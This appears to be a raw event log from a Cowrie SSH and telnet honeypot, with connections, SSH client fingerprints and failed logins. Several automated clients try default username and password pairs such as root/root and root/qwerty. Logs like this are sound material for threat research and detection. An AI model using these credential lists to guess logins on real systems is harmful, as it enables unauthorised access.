{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:09.247338Z","src_ip":"176.65.132.129","session":"137135e7f31b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:09.497501Z","src_ip":"176.65.132.129","session":"137135e7f31b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:10.582930Z","src_ip":"176.65.132.129","session":"137135e7f31b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.135.168.228","src_port":57372,"dst_ip":"159.203.135.109","dst_port":22,"session":"1257d8733372","protocol":"ssh","message":"New connection: 213.135.168.228:57372 (159.203.135.109:22) [session: 1257d8733372]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:12.245718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:12.251154Z","src_ip":"213.135.168.228","session":"1257d8733372","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:12.383635Z","src_ip":"213.135.168.228","session":"1257d8733372","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":38160,"dst_ip":"159.203.135.109","dst_port":22,"session":"853b0e35ff21","protocol":"ssh","message":"New connection: 176.65.132.129:38160 (159.203.135.109:22) [session: 853b0e35ff21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:12.419458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:12.425309Z","src_ip":"176.65.132.129","session":"853b0e35ff21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:12.513936Z","src_ip":"176.65.132.129","session":"853b0e35ff21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user3","password":"user3","message":"login attempt [user3/user3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:12.914711Z","src_ip":"176.65.132.129","session":"853b0e35ff21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123!@#","message":"login attempt [root/qwe123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:12.944679Z","src_ip":"213.135.168.228","session":"1257d8733372","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:13.999924Z","src_ip":"176.65.132.129","session":"853b0e35ff21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:14.079193Z","src_ip":"213.135.168.228","session":"1257d8733372","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":32796,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2d8a22a2fce","protocol":"telnet","message":"New connection: 152.42.224.71:32796 (10.17.0.5:23) [session: d2d8a22a2fce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:15.225487Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":33698,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d4299ee9358","protocol":"ssh","message":"New connection: 176.65.132.129:33698 (159.203.135.109:22) [session: 4d4299ee9358]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:15.779874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:15.785677Z","src_ip":"176.65.132.129","session":"4d4299ee9358","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:15.867855Z","src_ip":"176.65.132.129","session":"4d4299ee9358","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"martin","password":"123456","message":"login attempt [martin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:16.121803Z","src_ip":"176.65.132.129","session":"4d4299ee9358","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:17.207964Z","src_ip":"176.65.132.129","session":"4d4299ee9358","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40688,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef8a3be07a43","protocol":"telnet","message":"New connection: 152.42.224.71:40688 (10.17.0.5:23) [session: ef8a3be07a43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:17.448696Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":33708,"dst_ip":"159.203.135.109","dst_port":22,"session":"e1011a5bf5f2","protocol":"ssh","message":"New connection: 176.65.132.129:33708 (159.203.135.109:22) [session: e1011a5bf5f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:18.962690Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:18.972426Z","src_ip":"176.65.132.129","session":"e1011a5bf5f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:19.054790Z","src_ip":"176.65.132.129","session":"e1011a5bf5f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty","message":"login attempt [root/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:19.300869Z","src_ip":"176.65.132.129","session":"e1011a5bf5f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:20.386310Z","src_ip":"176.65.132.129","session":"e1011a5bf5f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40696,"dst_ip":"10.17.0.5","dst_port":23,"session":"47d006c37cc2","protocol":"telnet","message":"New connection: 152.42.224.71:40696 (10.17.0.5:23) [session: 47d006c37cc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:21.568744Z"}
{"eventid":"cowrie.session.closed","duration":74.54338502883911,"message":"Connection lost after 74 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:21.756433Z","src_ip":"152.42.224.71","session":"09b56788cdfd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":33724,"dst_ip":"159.203.135.109","dst_port":22,"session":"91bd65d14a27","protocol":"ssh","message":"New connection: 176.65.132.129:33724 (159.203.135.109:22) [session: 91bd65d14a27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:22.152581Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:22.157349Z","src_ip":"176.65.132.129","session":"91bd65d14a27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:22.239936Z","src_ip":"176.65.132.129","session":"91bd65d14a27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40700,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f8e375d85ad","protocol":"telnet","message":"New connection: 152.42.224.71:40700 (10.17.0.5:23) [session: 4f8e375d85ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:22.590928Z"}
{"eventid":"cowrie.login.failed","username":"sftpuser","password":"sftpuser","message":"login attempt [sftpuser/sftpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:22.665063Z","src_ip":"176.65.132.129","session":"91bd65d14a27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:23.749895Z","src_ip":"176.65.132.129","session":"91bd65d14a27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":33746,"dst_ip":"159.203.135.109","dst_port":22,"session":"11f3375603d2","protocol":"ssh","message":"New connection: 176.65.132.129:33746 (159.203.135.109:22) [session: 11f3375603d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:25.566051Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:25.571461Z","src_ip":"176.65.132.129","session":"11f3375603d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:25.654030Z","src_ip":"176.65.132.129","session":"11f3375603d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"milad","password":"milad","message":"login attempt [milad/milad] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:25.903783Z","src_ip":"176.65.132.129","session":"11f3375603d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33996,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c7cea59c48a","protocol":"telnet","message":"New connection: 152.42.224.71:33996 (10.17.0.5:23) [session: 9c7cea59c48a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:26.928635Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:26.989418Z","src_ip":"176.65.132.129","session":"11f3375603d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.54.176.203","src_port":43720,"dst_ip":"159.203.135.109","dst_port":22,"session":"0d6cb04807e9","protocol":"ssh","message":"New connection: 62.54.176.203:43720 (159.203.135.109:22) [session: 0d6cb04807e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:28.344830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:28.349705Z","src_ip":"62.54.176.203","session":"0d6cb04807e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":35088,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e955150caa9","protocol":"ssh","message":"New connection: 176.65.132.129:35088 (159.203.135.109:22) [session: 9e955150caa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:28.745507Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:28.751206Z","src_ip":"176.65.132.129","session":"9e955150caa9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:28.840358Z","src_ip":"176.65.132.129","session":"9e955150caa9","protocol":"ssh"}
